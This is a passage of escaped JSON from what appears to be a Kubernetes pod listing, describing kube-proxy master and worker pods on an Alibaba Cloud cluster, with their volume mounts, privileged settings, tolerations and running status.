p\":\"2020-04-08T04:12:30Z\",\"labels\":{\"controller-revision-hash\":\"7d9bdff4f\",\"k8s-app\":\"kube-proxy-master\",\"pod-template-generation\":\"1\"},\"annotations\":{\"kubernetes.io/psp\":\"ack.privileged\"},\"ownerReferences\":[{\"apiVersion\":\"apps/v1\",\"kind\":\"DaemonSet\",\"name\":\"kube-proxy-master\",\"uid\":\"0966af12-5f73-4395-be07-cf31f049ab4c\",\"controller\":true,\"blockOwnerDeletion\":true}]},\"spec\":{\"volumes\":[{\"name\":\"kube-proxy-master\",\"configMap\":{\"name\":\"kube-proxy-master\",\"defaultMode\":420}},{\"name\":\"xtables-lock\",\"hostPath\":{\"path\":\"/run/xtables.lock\",\"type\":\"FileOrCreate\"}},{\"name\":\"lib-modules\",\"hostPath\":{\"path\":\"/lib/modules\",\"type\":\"\"}},{\"name\":\"kube-proxy-token-9ngpd\",\"secret\":{\"secretName\":\"kube-proxy-token-9ngpd\",\"defaultMode\":420}}],\"containers\":[{\"name\":\"kube-proxy-master\",\"image\":\"registry-vpc.cn-beijing.aliyuncs.com/acs/kube-proxy:v1.16.6-aliyun.1\",\"command\":[\"/usr/local/bin/kube-proxy\",\"--config=/var/lib/kube-proxy/config.conf\",\"--hostname-override=$(NODE_NAME)\"],\"env\":[{\"name\":\"NODE_NAME\",\"valueFrom\":{\"fieldRef\":{\"apiVersion\":\"v1\",\"fieldPath\":\"spec.nodeName\"}}}],\"resources\":{},\"volumeMounts\":[{\"name\":\"kube-proxy-master\",\"mountPath\":\"/var/lib/kube-proxy\"},{\"name\":\"xtables-lock\",\"mountPath\":\"/run/xtables.lock\"},{\"name\":\"lib-modules\",\"readOnly\":true,\"mountPath\":\"/lib/modules\"},{\"name\":\"kube-proxy-token-9ngpd\",\"readOnly\":true,\"mountPath\":\"/var/run/secrets/kubernetes.io/serviceaccount\"}],\"terminationMessagePath\":\"/dev/termination-log\",\"terminationMessagePolicy\":\"File\",\"imagePullPolicy\":\"IfNotPresent\",\"securityContext\":{\"privileged\":true}}],\"restartPolicy\":\"Always\",\"terminationGracePeriodSeconds\":30,\"dnsPolicy\":\"ClusterFirst\",\"nodeSelector\":{\"node-role.kubernetes.io/master\":\"\"},\"serviceAccountName\":\"kube-proxy\",\"serviceAccount\":\"kube-proxy\",\"nodeName\":\"cn-beijing.192.168.0.150\",\"hostNetwork\":true,\"securityContext\":{},\"affinity\":{\"nodeAffinity\":{\"requiredDuringSchedulingIgnoredDuringExecution\":{\"nodeSelectorTerms\":[{\"matchFields\":[{\"key\":\"metadata.name\",\"operator\":\"In\",\"values\":[\"cn-beijing.192.168.0.150\"]}]}]}}},\"schedulerName\":\"default-scheduler\",\"tolerations\":[{\"operator\":\"Exists\"},{\"key\":\"node.kubernetes.io/not-ready\",\"operator\":\"Exists\",\"effect\":\"NoExecute\"},{\"key\":\"node.kubernetes.io/unreachable\",\"operator\":\"Exists\",\"effect\":\"NoExecute\"},{\"key\":\"node.kubernetes.io/disk-pressure\",\"operator\":\"Exists\",\"effect\":\"NoSchedule\"},{\"key\":\"node.kubernetes.io/memory-pressure\",\"operator\":\"Exists\",\"effect\":\"NoSchedule\"},{\"key\":\"node.kubernetes.io/pid-pressure\",\"operator\":\"Exists\",\"effect\":\"NoSchedule\"},{\"key\":\"node.kubernetes.io/unschedulable\",\"operator\":\"Exists\",\"effect\":\"NoSchedule\"},{\"key\":\"node.kubernetes.io/network-unavailable\",\"operator\":\"Exists\",\"effect\":\"NoSchedule\"}],\"priorityClassName\":\"system-node-critical\",\"priority\":2000001000,\"enableServiceLinks\":true},\"status\":{\"phase\":\"Running\",\"conditions\":[{\"type\":\"Initialized\",\"status\":\"True\",\"lastProbeTime\":null,\"lastTransitionTime\":\"2020-04-08T04:12:31Z\"},{\"type\":\"Ready\",\"status\":\"True\",\"lastProbeTime\":null,\"lastTransitionTime\":\"2020-09-10T07:23:40Z\"},{\"type\":\"ContainersReady\",\"status\":\"True\",\"lastProbeTime\":null,\"lastTransitionTime\":\"2020-09-10T07:23:40Z\"},{\"type\":\"PodScheduled\",\"status\":\"True\",\"lastProbeTime\":null,\"lastTransitionTime\":\"2020-04-08T04:12:30Z\"}],\"hostIP\":\"192.168.0.150\",\"podIP\":\"192.168.0.150\",\"podIPs\":[{\"ip\":\"192.168.0.150\"}],\"startTime\":\"2020-04-08T04:12:31Z\",\"containerStatuses\":[{\"name\":\"kube-proxy-master\",\"state\":{\"running\":{\"startedAt\":\"2020-09-10T07:23:39Z\"}},\"lastState\":{\"terminated\":{\"exitCode\":255,\"reason\":\"Error\",\"startedAt\":\"2020-04-08T04:12:33Z\",\"finishedAt\":\"2020-09-10T07:23:17Z\",\"containerID\":\"docker://bef05721cc796bcae7edfedccabe377ab82671b678f3755dfe65587a7642c3c3\"}},\"ready\":true,\"restartCount\":1,\"image\":\"registry-vpc.cn-beijing.aliyuncs.com/acs/kube-proxy:v1.16.6-aliyun.1\",\"imageID\":\"docker-pullable://registry-vpc.cn-beijing.aliyuncs.com/acs/kube-proxy@sha256:7d98f65fc3518b384b0fd047a3249f6ea2546168a69a78ef750d80866d1aa0de\",\"containerID\":\"docker://0509f783f0726a4f924dfa73823f6134103a44de432191414db688aacad9bba7\",\"started\":true}],\"qosClass\":\"BestEffort\"}},{\"metadata\":{\"name\":\"kube-proxy-master-rj7q5\",\"generateName\":\"kube-proxy-master-\",\"namespace\":\"kube-system\",\"selfLink\":\"/api/v1/namespaces/kube-system/pods/kube-proxy-master-rj7q5\",\"uid\":\"64c74234-7ad3-42a7-9152-8985d3dda2f5\",\"resourceVersion\":\"1606\",\"creationTimestamp\":\"2020-04-08T04:12:30Z\",\"labels\":{\"controller-revision-hash\":\"7d9bdff4f\",\"k8s-app\":\"kube-proxy-master\",\"pod-template-generation\":\"1\"},\"annotations\":{\"kubernetes.io/psp\":\"ack.privileged\"},\"ownerReferences\":[{\"apiVersion\":\"apps/v1\",\"kind\":\"DaemonSet\",\"name\":\"kube-proxy-master\",\"uid\":\"0966af12-5f73-4395-be07-cf31f049ab4c\",\"controller\":true,\"blockOwnerDeletion\":true}]},\"spec\":{\"volumes\":[{\"name\":\"kube-proxy-master\",\"configMap\":{\"name\":\"kube-proxy-master\",\"defaultMode\":420}},{\"name\":\"xtables-lock\",\"hostPath\":{\"path\":\"/run/xtables.lock\",\"type\":\"FileOrCreate\"}},{\"name\":\"lib-modules\",\"hostPath\":{\"path\":\"/lib/modules\",\"type\":\"\"}},{\"name\":\"kube-proxy-token-9ngpd\",\"secret\":{\"secretName\":\"kube-proxy-token-9ngpd\",\"defaultMode\":420}}],\"containers\":[{\"name\":\"kube-proxy-master\",\"image\":\"registry-vpc.cn-beijing.aliyuncs.com/acs/kube-proxy:v1.16.6-aliyun.1\",\"command\":[\"/usr/local/bin/kube-proxy\",\"--config=/var/lib/kube-proxy/config.conf\",\"--hostname-override=$(NODE_NAME)\"],\"env\":[{\"name\":\"NODE_NAME\",\"valueFrom\":{\"fieldRef\":{\"apiVersion\":\"v1\",\"fieldPath\":\"spec.nodeName\"}}}],\"resources\":{},\"volumeMounts\":[{\"name\":\"kube-proxy-master\",\"mountPath\":\"/var/lib/kube-proxy\"},{\"name\":\"xtables-lock\",\"mountPath\":\"/run/xtables.lock\"},{\"name\":\"lib-modules\",\"readOnly\":true,\"mountPath\":\"/lib/modules\"},{\"name\":\"kube-proxy-token-9ngpd\",\"readOnly\":true,\"mountPath\":\"/var/run/secrets/kubernetes.io/serviceaccount\"}],\"terminationMessagePath\":\"/dev/termination-log\",\"terminationMessagePolicy\":\"File\",\"imagePullPolicy\":\"IfNotPresent\",\"securityContext\":{\"privileged\":true}}],\"restartPolicy\":\"Always\",\"terminationGracePeriodSeconds\":30,\"dnsPolicy\":\"ClusterFirst\",\"nodeSelector\":{\"node-role.kubernetes.io/master\":\"\"},\"serviceAccountName\":\"kube-proxy\",\"serviceAccount\":\"kube-proxy\",\"nodeName\":\"cn-beijing.192.168.0.152\",\"hostNetwork\":true,\"securityContext\":{},\"affinity\":{\"nodeAffinity\":{\"requiredDuringSchedulingIgnoredDuringExecution\":{\"nodeSelectorTerms\":[{\"matchFields\":[{\"key\":\"metadata.name\",\"operator\":\"In\",\"values\":[\"cn-beijing.192.168.0.152\"]}]}]}}},\"schedulerName\":\"default-scheduler\",\"tolerations\":[{\"operator\":\"Exists\"},{\"key\":\"node.kubernetes.io/not-ready\",\"operator\":\"Exists\",\"effect\":\"NoExecute\"},{\"key\":\"node.kubernetes.io/unreachable\",\"operator\":\"Exists\",\"effect\":\"NoExecute\"},{\"key\":\"node.kubernetes.io/disk-pressure\",\"operator\":\"Exists\",\"effect\":\"NoSchedule\"},{\"key\":\"node.kubernetes.io/memory-pressure\",\"operator\":\"Exists\",\"effect\":\"NoSchedule\"},{\"key\":\"node.kubernetes.io/pid-pressure\",\"operator\":\"Exists\",\"effect\":\"NoSchedule\"},{\"key\":\"node.kubernetes.io/unschedulable\",\"operator\":\"Exists\",\"effect\":\"NoSchedule\"},{\"key\":\"node.kubernetes.io/network-unavailable\",\"operator\":\"Exists\",\"effect\":\"NoSchedule\"}],\"priorityClassName\":\"system-node-critical\",\"priority\":2000001000,\"enableServiceLinks\":true},\"status\":{\"phase\":\"Running\",\"conditions\":[{\"type\":\"Initialized\",\"status\":\"True\",\"lastProbeTime\":null,\"lastTransitionTime\":\"2020-04-08T04:12:31Z\"},{\"type\":\"Ready\",\"status\":\"True\",\"lastProbeTime\":null,\"lastTransitionTime\":\"2020-04-08T04:12:33Z\"},{\"type\":\"ContainersReady\",\"status\":\"True\",\"lastProbeTime\":null,\"lastTransitionTime\":\"2020-04-08T04:12:33Z\"},{\"type\":\"PodScheduled\",\"status\":\"True\",\"lastProbeTime\":null,\"lastTransitionTime\":\"2020-04-08T04:12:31Z\"}],\"hostIP\":\"192.168.0.152\",\"podIP\":\"192.168.0.152\",\"podIPs\":[{\"ip\":\"192.168.0.152\"}],\"startTime\":\"2020-04-08T04:12:31Z\",\"containerStatuses\":[{\"name\":\"kube-proxy-master\",\"state\":{\"running\":{\"startedAt\":\"2020-04-08T04:12:32Z\"}},\"lastState\":{},\"ready\":true,\"restartCount\":0,\"image\":\"registry-vpc.cn-beijing.aliyuncs.com/acs/kube-proxy:v1.16.6-aliyun.1\",\"imageID\":\"docker-pullable://registry-vpc.cn-beijing.aliyuncs.com/acs/kube-proxy@sha256:7d98f65fc3518b384b0fd047a3249f6ea2546168a69a78ef750d80866d1aa0de\",\"containerID\":\"docker://4ef30a4da0ac22571d6208489ddbf7e5a57788c2c3094e9df6d18678436b1c5f\",\"started\":true}],\"qosClass\":\"BestEffort\"}},{\"metadata\":{\"name\":\"kube-proxy-master-xwcsf\",\"generateName\":\"kube-proxy-master-\",\"namespace\":\"kube-system\",\"selfLink\":\"/api/v1/namespaces/kube-system/pods/kube-proxy-master-xwcsf\",\"uid\":\"6ad1ec0f-9434-44d0-8edf-db17d0e6c641\",\"resourceVersion\":\"1608\",\"creationTimestamp\":\"2020-04-08T04:12:30Z\",\"labels\":{\"controller-revision-hash\":\"7d9bdff4f\",\"k8s-app\":\"kube-proxy-master\",\"pod-template-generation\":\"1\"},\"annotations\":{\"kubernetes.io/psp\":\"ack.privileged\"},\"ownerReferences\":[{\"apiVersion\":\"apps/v1\",\"kind\":\"DaemonSet\",\"name\":\"kube-proxy-master\",\"uid\":\"0966af12-5f73-4395-be07-cf31f049ab4c\",\"controller\":true,\"blockOwnerDeletion\":true}]},\"spec\":{\"volumes\":[{\"name\":\"kube-proxy-master\",\"configMap\":{\"name\":\"kube-proxy-master\",\"defaultMode\":420}},{\"name\":\"xtables-lock\",\"hostPath\":{\"path\":\"/run/xtables.lock\",\"type\":\"FileOrCreate\"}},{\"name\":\"lib-modules\",\"hostPath\":{\"path\":\"/lib/modules\",\"type\":\"\"}},{\"name\":\"kube-proxy-token-9ngpd\",\"secret\":{\"secretName\":\"kube-proxy-token-9ngpd\",\"defaultMode\":420}}],\"containers\":[{\"name\":\"kube-proxy-master\",\"image\":\"registry-vpc.cn-beijing.aliyuncs.com/acs/kube-proxy:v1.16.6-aliyun.1\",\"command\":[\"/usr/local/bin/kube-proxy\",\"--config=/var/lib/kube-proxy/config.conf\",\"--hostname-override=$(NODE_NAME)\"],\"env\":[{\"name\":\"NODE_NAME\",\"valueFrom\":{\"fieldRef\":{\"apiVersion\":\"v1\",\"fieldPath\":\"spec.nodeName\"}}}],\"resources\":{},\"volumeMounts\":[{\"name\":\"kube-proxy-master\",\"mountPath\":\"/var/lib/kube-proxy\"},{\"name\":\"xtables-lock\",\"mountPath\":\"/run/xtables.lock\"},{\"name\":\"lib-modules\",\"readOnly\":true,\"mountPath\":\"/lib/modules\"},{\"name\":\"kube-proxy-token-9ngpd\",\"readOnly\":true,\"mountPath\":\"/var/run/secrets/kubernetes.io/serviceaccount\"}],\"terminationMessagePath\":\"/dev/termination-log\",\"terminationMessagePolicy\":\"File\",\"imagePullPolicy\":\"IfNotPresent\",\"securityContext\":{\"privileged\":true}}],\"restartPolicy\":\"Always\",\"terminationGracePeriodSeconds\":30,\"dnsPolicy\":\"ClusterFirst\",\"nodeSelector\":{\"node-role.kubernetes.io/master\":\"\"},\"serviceAccountName\":\"kube-proxy\",\"serviceAccount\":\"kube-proxy\",\"nodeName\":\"cn-beijing.192.168.0.151\",\"hostNetwork\":true,\"securityContext\":{},\"affinity\":{\"nodeAffinity\":{\"requiredDuringSchedulingIgnoredDuringExecution\":{\"nodeSelectorTerms\":[{\"matchFields\":[{\"key\":\"metadata.name\",\"operator\":\"In\",\"values\":[\"cn-beijing.192.168.0.151\"]}]}]}}},\"schedulerName\":\"default-scheduler\",\"tolerations\":[{\"operator\":\"Exists\"},{\"key\":\"node.kubernetes.io/not-ready\",\"operator\":\"Exists\",\"effect\":\"NoExecute\"},{\"key\":\"node.kubernetes.io/unreachable\",\"operator\":\"Exists\",\"effect\":\"NoExecute\"},{\"key\":\"node.kubernetes.io/disk-pressure\",\"operator\":\"Exists\",\"effect\":\"NoSchedule\"},{\"key\":\"node.kubernetes.io/memory-pressure\",\"operator\":\"Exists\",\"effect\":\"NoSchedule\"},{\"key\":\"node.kubernetes.io/pid-pressure\",\"operator\":\"Exists\",\"effect\":\"NoSchedule\"},{\"key\":\"node.kubernetes.io/unschedulable\",\"operator\":\"Exists\",\"effect\":\"NoSchedule\"},{\"key\":\"node.kubernetes.io/network-unavailable\",\"operator\":\"Exists\",\"effect\":\"NoSchedule\"}],\"priorityClassName\":\"system-node-critical\",\"priority\":2000001000,\"enableServiceLinks\":true},\"status\":{\"phase\":\"Running\",\"conditions\":[{\"type\":\"Initialized\",\"status\":\"True\",\"lastProbeTime\":null,\"lastTransitionTime\":\"2020-04-08T04:12:31Z\"},{\"type\":\"Ready\",\"status\":\"True\",\"lastProbeTime\":null,\"lastTransitionTime\":\"2020-04-08T04:12:34Z\"},{\"type\":\"ContainersReady\",\"status\":\"True\",\"lastProbeTime\":null,\"lastTransitionTime\":\"2020-04-08T04:12:34Z\"},{\"type\":\"PodScheduled\",\"status\":\"True\",\"lastProbeTime\":null,\"lastTransitionTime\":\"2020-04-08T04:12:31Z\"}],\"hostIP\":\"192.168.0.151\",\"podIP\":\"192.168.0.151\",\"podIPs\":[{\"ip\":\"192.168.0.151\"}],\"startTime\":\"2020-04-08T04:12:31Z\",\"containerStatuses\":[{\"name\":\"kube-proxy-master\",\"state\":{\"running\":{\"startedAt\":\"2020-04-08T04:12:32Z\"}},\"lastState\":{},\"ready\":true,\"restartCount\":0,\"image\":\"registry-vpc.cn-beijing.aliyuncs.com/acs/kube-proxy:v1.16.6-aliyun.1\",\"imageID\":\"docker-pullable://registry-vpc.cn-beijing.aliyuncs.com/acs/kube-proxy@sha256:7d98f65fc3518b384b0fd047a3249f6ea2546168a69a78ef750d80866d1aa0de\",\"containerID\":\"docker://99dd49254f15530507286069a374e6b38ed814cd926378f1a975aaf7dd27ee29\",\"started\":true}],\"qosClass\":\"BestEffort\"}},{\"metadata\":{\"name\":\"kube-proxy-worker-84qsm\",\"generateName\":\"kube-proxy-worker-\",\"namespace\":\"kube-system\",\"selfLink\":\"/api/v1/namespaces/kube-system/pods/kube-proxy-worker-84qsm\",\"uid\":\"252c322a-a5ed-47b2-a993-f11f3c6e6ba9\",\"resourceVersion\":\"1756\",\"creationTimestamp\":\"2020-04-08T04:12:31Z\",\"labels\":{\"controller-revision-hash\":\"6775794f84\",\"k8s-app\":\"kube-proxy-worker\",\"pod-template-generation\":\"1\"},\"annotations\":{\"kubernetes.io/psp\":\"ack.privileged\"},\"ownerReferences\":[{\"apiVersion\":\"apps/v1\",\"kind\":\"DaemonSet\",\"name\":\"kube-proxy-worker\",\"uid\":\"d9eead21-3360-481f-ad44-f546c22733cc\",\"controller\":true,\"blockOwnerDeletion\":true}]},\"spec\":{\"volumes\":[{\"name\":\"kube-proxy-worker\",\"configMap\":{\"name\":\"kube-proxy-worker\",\"defaultMode\":420}},{\"name\":\"xtables-lock\",\"hostPath\":{\"path\":\"/run/xtables.lock\",\"type\":\"FileOrCreate\"}},{\"name\":\"lib-modules\",\"hostPath\":{\"path\":\"/lib/modules\",\"type\":\"\"}},{\"name\":\"kube-proxy-token-9ngpd\",\"secret\":{\"secretName\":\"kube-proxy-token-9ngpd\",\"defaultMode\":420}}],\"containers\":[{\"name\":\"kube-proxy-worker\",\"image\":\"registry-vpc.cn-beijing.aliyuncs.com/acs/kube-proxy:v1.16.6-aliyun.1\",\"command\":[\"/usr/local/bin/kube-proxy\",\"--config=/var/lib/kube-proxy/config.conf\",\"--hostname-override=$(NODE_NAME)\"],\"env\":[{\"name\":\"NODE_NAME\",\"valueFrom\":{\"fieldRef\":{\"apiVersion\":\"v1\",\"fieldPath\":\"spec.nodeName\"}}}],\"resources\":{},\"volumeMounts\":[{\"name\":\"kube-proxy-worker\",\"mountPath\":\"/var/lib/kube-proxy\"},{\"name\":\"xtables-lock\",\"mountPath\":\"/run/xtables.lock\"},{\"name\":\"lib-modules\",\"readOnly\":true,\"mountPath\":\"/lib/modules\"},{\"name\":\"kube-proxy-token-9ngpd\",\"readOnly\":true,\"mountPath\":\"/var/run/secrets/kubernetes.io/serviceaccount\"}],\"terminationMessagePath\":\"/dev/termination-log\",\"terminationMessagePolicy\":\"File\",\"imagePullPolicy\":\"IfNotPresent\",\"securityContext\":{\"privileged\":true}}],\"restartPolicy\":\"Always\",\"terminationGracePeriodSeconds\":30,\"dnsPolicy\":\"ClusterFirst\",\"serviceAccountName\":\"kube-proxy\",\"serviceAccount\":\"kube-proxy\",\"nodeName\":\"cn-beijing.192.168.0.154\",\"hostNetwork\":true,\"securityContext\":{},\"affinity\":{\"nodeAffinity\":{\"requiredDuringSchedulingIgnoredDuringExecution\":{\"nodeSelectorTerms\":[{\"matchFields\":[{\"key\":\"metadata.name\",\"operator\":\"In\",\"values\":[\"cn-beijing.192.168.0.154\"]}]}]}}},\"schedulerName\":\"default-scheduler\",\"tolerations\":[{\"operator\":\"Exists\"},{\"key\":\"node.kubernetes.io/not-ready\",\"operator\":\"Exists\",\"effect\":\"NoExecute\"},{\"key\":\"node.kubernetes.io/unreachable\",\"operator\":\"Exists\",\"effect\":\"NoExecute\"},{\"key\":\"node.kubernetes.io/disk-pressure\",\"operator\":\"Exists\",\"effect\":\"NoSchedule\"},{\"key\":\"node.kubernetes.io/memory-pressure\",\"operator\":\"Exists\",\"effect\":\"NoSchedule\"},{\"key\":\"node.kubernetes.io/pid-pressure\",\"operator\":\"Exists\",\"effect\":\"NoSchedule\"},{\"key\":\"node.kubernetes.io/unschedulable\",\"operator\":\"Exists\",\"effect\":\"NoSchedule\"},{\"key\":\"node.kubernetes.io/network-unavailable\",\"operator\":\"Exists\",\"effect\":\"NoSchedule\"}],\"priorityClassName\":\"system-node-critical\",\"priority\":2000001000,\"enableServiceLinks\":true},\"status\":{\"phase\":\"Running\",\"conditions\":[{\"type\":\"Initialized\",\"status\":\"True\",\"lastProbeTime\":null,\"lastTransitionTime\":\"2020-04-08T04:12:31Z\"},{\"type\":\"Ready\",\"status\":\"True\",\"lastProbeTime\":null,\"lastTransitionTime\":\"2020-04-08T04:12:44Z\"},{\"type\":\"ContainersReady\",\"status\":\"True\",\"lastProbeTime\":null,\"lastTransitionTime\":\"2020-04-08T04:12:44Z\"},{\"type\":\"PodScheduled\",\"status\":\"True\",\"lastProbeTime\":null,\"lastTransitionTime\":\"2020-04-08T04:12:31Z\"}],\"hostIP\":\"192.168.0.154\",\"podIP\":\"192.168.0.154\",\"podIPs\":[{\"ip\":\"192.168.0.154\"}],\"startTime\":\"2020-04-08T04:12:31Z\",\"containerStatuses\":[{\"name\":\"kube-proxy-worker\",\"state\":{\"running\":{\"startedAt\":\"2020-04-08T04:12:43Z\"}},\"lastState\":{},\"ready\":true,\"restartCount\":0,\"image\":\"registry-vpc.cn-beijing.aliyuncs.com/acs/kube-proxy:v1.16.6-aliyun.1\",\"imageID\":\"docker-pullable://registry-vpc.cn-beijing.aliyuncs.com/acs/kube-proxy@sha256:7d98f65fc3518b384b0fd047a3249f6ea2546168a69a78ef750d80866d1aa0de\",\"containerID\":\"docker://f28268e8e1098db0022d78c9a8d3bc07c65f0826dc7fa49b712e3981ceff0da9\",\"started\":true}],\"qosClass\":\"BestEffort\"}},{\"metadata\":{\"name\":\"kube-proxy-worker-dfq46\",\"generateName\":\"kube-proxy-worker-\",\"namespace\":\"kube-system\",\"selfLink\":\"/api/v1/namespaces/kube-system/pods/kube-proxy-worker-dfq46\",\"uid\":\"14948498-2760-4cd1-87dd-dd2a1a85c826\",\"resourceVersion\":\"1696\",\"creationTimestamp\":\"2020-04-08T04:12:31Z\",\"labels\":{\"controller-revision-hash\":\"6775794f84\",\"k8s-app\":\"kube-proxy-worker\",\"pod-template-generation\":\"1\"},\"annotations\":{\"kubernetes.io/psp\":\"ack.privileged\"},\"ownerReferences\":[{\"apiVersion\":\"apps/v1\",\"kind\":\"DaemonSet\",\"name\":\"kube-proxy-worker\",\"uid\":\"d9eead21-3360-481f-ad44-f546c22733cc\",\"controller\":true,\"blockOwnerDeletion\":true}]},\"spec\":{\"volumes\":[{\"name\":\"kube-proxy-worker\",\"configMap\":{\"name\":\"kube-proxy-worker\",\"defaultMode\":420}},{\"name\":\"xtables-lock\",\"hostPath\":{\"path\":\"/run/xtables.lock\",\"type\":\"FileOrCreate\"}},{\"name\":\"lib-modules\",\"hostPath\":{\"path\":\"/lib/modules\",\"type\":\"\"}},{\"name\":\"kube-proxy-token-9ngpd\",\"secret\":{\"secretName\":\"kube-proxy-token-9ngpd\",\"defaultMode\":420}}],\"containers\":[{\"name\":\"kube-proxy-worker\",\"image\":\"registry-vpc.cn-beijing.aliyuncs.com/acs/kube-proxy:v1.16.6-aliyun.1\",\"command\":[\"/usr/local/bin/kube-proxy\",\"--config=/var/lib/kube-proxy/config.conf\",\"--hostname-override=$(NODE_NAME)\"],\"env\":[{\"name\":\"NODE_NAME\",\"valueFrom\":{\"fieldRef\":{\"apiVersion\":\"v1\",\"fieldPath\":\"spec.nodeName\"}}}],\"resources\":{},\"volumeMounts\":[{\"name\":\"kube-proxy-worker\",\"mountPath\":\"/var/lib/kube-proxy\"},{\"name\":\"xtables-lock\",\"mountPath\":\"/run/xtables.lock\"},{\"name\":\"lib-modules\",\"readOnly\":true,\"mountPath\":\"/lib/modules\"},{\"name\":\"kube-proxy-token-9ngpd\",\"readOnly\":true,\"mountPath\":\"/var/run/secrets/kubernetes.io/serviceaccount\"}],\"terminationMessagePath\":\"/dev/termination-log\",\"terminationMessagePolicy\":\"File\",\"imagePullPolicy\":\"IfNotPresent\",\"securityContext\":{\"privileged\":true}}],\"restartPolicy\":\"Always\",\"terminationGracePeriodSeconds\":30,\"dnsPolicy\":\"ClusterFirst\",\"serviceAccountName\":\"kube-proxy\",\"serviceAccount\":\"kube-proxy\",\"nodeName\":\"cn-beijing.192.168.0.155\",\"hostNetwork\":true,\"securityContext\":{},\"affinity\":{\"nodeAffinity\":{\"requiredDuringSchedulingIgnoredDuringExecution\":{\"nodeSelectorTerms\":[{\"matchFields\":[{\"key\":\"metadata.name\",\"operator\":\"In\",\"values\":[\"cn-beijing.192.168.0.155\"]}]}]}}},\"schedulerName\":\"default-scheduler\",\"tolerations\":[{\"operator\":\"Exists\"},{\"key\":\"node.kubernetes.io/not-ready\",\"operator\":\"Exists\",\"effect\":\"NoExecute\"},{\"key\":\"node.kubernetes.io/unreachable\",\"operator\":\"Exists\",\"effect\":\"NoExecute\"},{\"key\":\"node.kubernetes.io/disk-pressure\",\"operator\":\"Exists\",\"effect\":\"NoSchedule\"},{\"key\":\"node.kubernetes.io/memory-pressure\",\"operator\":\"Exists\",\"effect\":\"NoSchedule\"},{\"key\":\"node.kubernetes.io/pid-pressure\",\"operator\":\"Exists\",\"effect\":\"NoSchedule\"},{\"key\":\"node.kubernetes.io/unschedulable\",\"operator\":\"Exists\",\"effect\":\"NoSchedule\"},{\"key\":\"node.kubernetes.io/network-unavailable\",\"operator\":\"Exists\",\"effect\":\"NoSchedule\"}],\"priorityClassName\":\"system-node-critical\",\"priority\":2000001000,\"enableServiceLinks\":true},\"status\":{\"phase\":\"Running\",\"conditions\":[{\"type\":\"Initialized\",\"status\":\"True\",\"lastProbeTime\":null,\"lastTransitionTime\":\"2020-04-08T04:12:31Z\"},{\"type\":\"Ready\",\"status\":\"True\",\"lastProbeTime\":null,\"lastTransitionTime\":\"2020-04-08T04:12:41Z\"},{\"type\":\"ContainersReady\",\"status\":\"True\",\"lastProbeTime\":null,\"lastTransitionTime\":\"2020-04-08T04:12:41Z\"},{\"type\":\"PodScheduled\",\"status\":\"True\",\"lastProbeTime\":null,\"lastTransitionTime\":\"2020-04-08T04:12:31Z\"}],\"hostIP\":\"192.168.0.155\",\"podIP\":\"192.168.0.155\",\"podIPs\":[{\"ip\":\"192.168.0.155\"}],\"startTime\":\"2020-04-08T04:12:31Z\",\"containerStatuses\":[{\"name\":\"kube-proxy-worker\",\"state\":{\"running\":{\"startedAt\":\"2020-04-08T04:12:41Z\"}},\"lastState\":{},\"ready\":true,\"restartCount\":0,\"image\":\"registry-vpc.cn-beijing.aliyuncs.com/acs/kube-proxy:v1.16.6-aliyun.1\",\"imageID\":\"docker-pullable://registry-vpc.cn-beijing.aliyuncs.com/acs/kube-proxy@sha256:7d98f65fc3518b384b0fd047a3249f6ea2546168a69a78ef750d80866d1aa0de\",\"containerID\":\"docker://04d1c794694bd4e27ce71374b6455ee3984b13b154384db61c6ad16511328d07\",\"started\":true}],\"qosClass\":\"BestEffort\"}},{\"metadata\":{\"name\":\"kube-proxy-worker-p77nb\",\"generateName\":\"kube-proxy-worker-\",\"namespace\":\"kube-system\",\"selfLink\":\"/api/v1/namespaces/kube-system/pods/kube-proxy-worker-p77nb\",\"uid\":\"0c4dc85b-fd8a-4ed3-83d5-551b04d4eb91\",\"resourceVersion\":\"1731\",\"creationTimestamp\":\"2020-04-08T04:12:31Z\",\"labels\":{\"controller-revision-hash\":\"6775794f84\",\"k8s-app\":\"kube-proxy-worker\",\"pod-template-generation\":\"1\"},\"annotations\":{\"kubernetes.io/psp\":\"ack.privileged\"},\"ownerReferences\":[{\"apiVersion\":\"apps/v1\",\"kind\":\"DaemonSet\",\"name\":\"kube-proxy-worker\",\"uid\":\"d9eead21-3360-481f-ad44-f546c22733cc\",\"controller\":true,\"blockOwnerDeletion\":true}]},\"spec\":{\"volumes\":[{\"name\":\"kube-proxy-worker\",\"configMap\":{\"name\":\"kube-proxy-worker\",\"defaultMode\":420}},{\"name\":\"xtables-lock\",\"hostPath\":{\"path\":\"/run/xtables.lock\",\"type\":\"FileOrCreate\"}},{\"name\":\"lib-modules\",\"hostPath\":{\"path\":\"/lib/modules\",\"type\":\"\"}},{\"name\":\"kube-proxy-token-9ngpd\",\"secret\":{\"secretName\":\"kube-proxy-token-9ngpd\",\"defaultMode\":420}}],\"containers\":[{\"name\":\"kube-proxy-worker\",\"image\":\"registry-vpc.cn-beijing.aliyuncs.com/acs/kube-proxy:v1.16.6-aliyun.1\",\"command\":[\"/usr/local/bin/kube-proxy\",\"--config=/var/lib/kube-proxy/config.conf\",\"--hostname-override=$(NODE_NAME)\"],\"env\":[{\"name\":\"NODE_NAME\",\"valueFrom\":{\"fieldRef\":{\"apiVersion\":\"v1\",\"fieldPath\":\"spec.nodeName\"}}}],\"resources\":{},\"volumeMounts\":[{\"name\":\"kube-proxy-worker\",\"mountPath\":\"/var/lib/kube-proxy\"},{\"name\":\"xtables-lock\",\"mountPath\":\"/run/xtables.lock\"},{\"name\":\"lib-modules\",\"readOnly\":true,\"mountPath\":\"/lib/modules\"},{\"name\":\"kube-proxy-token-9ngpd\",\"readOnly\":true,\"mountPath\":\"/var/run/secrets/kubernetes.io/serviceaccount\"}],\"terminationMessagePath\":\"/dev/termination-log\",\"terminationMessagePolicy\":\"File\",\"imagePullPolicy\":\"IfNotPresent\",\"securityContext\":{\"privileged\":true}}],\"restartPolicy\":\"Always\",\"terminationGracePeriodSeconds\":30,\"dnsPolicy\":\"ClusterFirst\",\"serviceAccountName\":\"kube-proxy\",\"serviceAccount\":\"kube-proxy\",\"nodeName\":\"cn-beijing.192.168.0.153\",\"hostNetwork\":true,\"securityContext\":{},\"affinity\":{\"nodeAffinity\":{\"requiredDuringSchedulingIgnoredDuringExecution\":{\"nodeSelectorTerms\":[{\"matchFields\":[{\"key\":\"metadata.name\",\"operator\":\"In\",\"values\":[\"cn-beijing.192.168.0.153\"]}]}]}}},\"schedulerName\":\"default-scheduler\",\"tolerations\":[{\"operator\":\"Exists\"},{\"key\":\"node.kubernetes.io/not-ready\",\"operat